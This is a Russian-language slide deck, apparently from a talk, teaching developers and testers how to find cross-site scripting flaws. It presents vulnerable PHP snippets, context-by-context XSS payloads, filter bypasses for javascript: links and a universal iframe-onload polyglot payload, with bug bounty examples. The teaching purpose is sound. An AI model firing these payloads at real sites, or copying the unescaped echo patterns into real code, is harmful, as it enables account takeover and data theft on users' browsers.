Similar presentations:
XSS (Cross-Site Scripting)
1. XSSни свой продукт продвинутое тестирование безопасности
XSSни свой продуктпродвинутое тестирование безопасности
Иван Румак
Занимаюсь безопасностью
2. Программа
Поговорим про XSSСоздадим универсальный пейлоад для поиска XSS
Завтра - призы и разбор заданий
3. Нафига?
4. XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта
XSS (Cross-Site Scripting) это когда хакер может выполнитьпроизвольный javascript в браузере
жертвы в контексте вашего сайта
5. XSS - причины
1. при генерации html-страницы, когда в код подтягиваются:• любые данные из БД, ранее указанные пользователем - stored XSS
• параметры из урла/тела запроса - reflected XSS
• значения http заголовков, куки - нужен mitm или другой баг (не
сегодня)
2. при изменении страницы джаваскриптом (про это в другой
раз):
• postMessage
• InnerHTML, $().html(), document.write
• location.hash...
6. XSS - методология
1. пейлоад во все поля/параметры2. рано или поздно выполнится alert()
7.
8.
9. F12 -> Ctrl+F -> "qweqwe"
F12 -> Ctrl+F -> "qweqwe"10.
11.
12. <script>alert()</script>
<script>alert()</script>13. XSS – Level 0
14.
<p>Привет, <?php echo($_GET["name"]); ?>!
<p>
XSS: между тэгами разметки
15.
/page.php?name=<script>alert()</script><p>
Привет, <script>alert()</script>!
<p>
XSS: между тэгами разметки
16.
<p>Привет, <?php $sql=…; echo($sql); ?>!
<p>
XSS: между тэгами разметки
17.
<p>Привет, Вася<script>alert()</script>!
<p>
XSS: между тэгами разметки
18.
<form action="page.php" method="POST"><input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: внутри значения аттрибута
19.
/page.php?name="><script>alert()</script><form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">!
</form>
XSS: внутри значения аттрибута
20. "><script>alert()</script>
"><script>alert()</script>21. XSS – Level 1
22.
<html><head>
<title>Привет, <?php echo($_GET["name"]); ?></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
23.
/page.php?name="><script>alert()</script><html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
24.
/page.php?name="><script>alert()</script>Сработает?
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
25.
/page.php?name="><script>alert()</script><html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
НЕТ!
26.
/page.php?name="></title><script>alert()</script><html>
<head>
<title>Привет,"></title><script>alert()</script>
</title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
27. "></title><script>alert()</script>
"></title><script>alert()</script>28.
<script>var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: между специфичных тэгов
29.
/page.php?name="></title><script>alert()</script><script>
var name=""></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов
30.
/page.php?name="></script></title><script>alert()</script><script>
var name=""></script></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов
31. "></title></script><script>alert()</script> + </style></noscript></textarea>…(по ситуации)
"></title></script><script>alert()</script>+ </style></noscript></textarea>…(по
ситуации)
32. XSS – Level 2
33.
<form action="page.php" method="POST"><input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: особенности HTML
34.
<form action='page.php' method='POST'><input name='name' value='<?php echo($_GET["name"]); ?>'>!
</form>
XSS: особенности HTML
35. '"></title></script><script>alert()</script>
'"></title></script><script>alert()</script>36.
<form action='page.php' method='POST'><input name='name' value='<%..UrlParam("name").replaceAll(">",">")..%>'>!
</form>
XSS: внутри значения аттрибута
37.
/page.php?name='><script>alert()</script><form action='page.php' method='POST'>
<input name='name' value=''><script>alert()</script>'>!
</form>
XSS: внутри значения аттрибута
38.
/page.php?name='%20autofocus%20onfocus='alert();<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>
(autofocus onfocus не будут работать если у инпута type=hidden)
XSS: внутри значения аттрибута
39.
<script>var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: внутри тэга script
40.
/page.php?name=";+alert();//<script>
var name=""; alert();//";
</script>
XSS: внутри тэга script
41.
<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>XSS: внутри ссылки
42.
/page.php?returnUrl=javascript:alert()<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки
43.
/page.php?returnUrl=%20javascript:alert()Сработает?
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки
44.
/page.php?returnUrl=%20javascript:alert()ДА!
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки
45.
/page.php?returnUrl=%09javascript:alert()<a href="
javascript:alert()">Вернуться</a>
XSS: внутри ссылки
46. XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245
XSS на biz.mail.ruBounty – 500$
https://hackerone.com/reports/268245
47.
48.
49.
50.
/page.php?returnUrl=javascript:alert()<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки
51. XSS – Level 3
52. '"></title></script><script>alert()</script>
'"></title></script><script>alert()</script>53. '"></title></script><script>alert()</script>
'"></title></script><script>alert()</script>54. '"></title></script><iframe onload='alert``'>
'"></title></script><iframe onload='alert``'>55.
56. Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу, но на
Плюсы iframe:1. Легко заметить, если пейлоад встраивается в страницу, но
на onload работают санитайзеры
2. Есть волшебный аттрибут srcdoc
57.
58.
59. XSS – Level 1337
XSS – Level 133760. Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть кейс, когда
Пробелы между аттрибутами в тэге могут замениться слэшемТэг необязательно закрывать! <iframe/onload='alert()'
Есть кейс, когда пейлоад попадает между комментом <!-- -->,
нужно закрывать и его
61. From: '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'
From:'"></title></script><iframe onload='alert``'>
to:
'"></title/</script/</style/--><iframe/onload='alert``'
62. XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...
XSS в личных сообщениях на ...Bounty – 3000$
https://hackerone.com/reports/...
63. Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми современными браузерами в закрытый!
Обрезали все, что подходит под паттерн "<…>"Но незакрытый тэг нормализуется всеми современными
браузерами в закрытый!
64.
<iframe/onload='alert()'65. + Bonus
66.
/page.php?returnUrl=javascript:alert()<a href="javascript:alert()">Вернуться</a>
Back to redirect XSS
67.
Может быть требовать формат URL:protocol://host:port/... ?
Разработчик
68.
<a href="javascript://qwe.com/%0aalert()">Вернуться</a>Back to redirect XSS
69.
70.
А может быть тогда просто запретитьслово javascript в урле?
Разработчик
71.
<a href="javascript://qwe.com/%0aalert()">Вернуться</a>
Back to redirect XSS
72.
Ну, тогда я буду требовать, чтобыссылка начиналась на http(s) или на /
Разработчик
73.
Вопросы?Ваня
@Ivan_Rumak
[email protected]
kontur.ru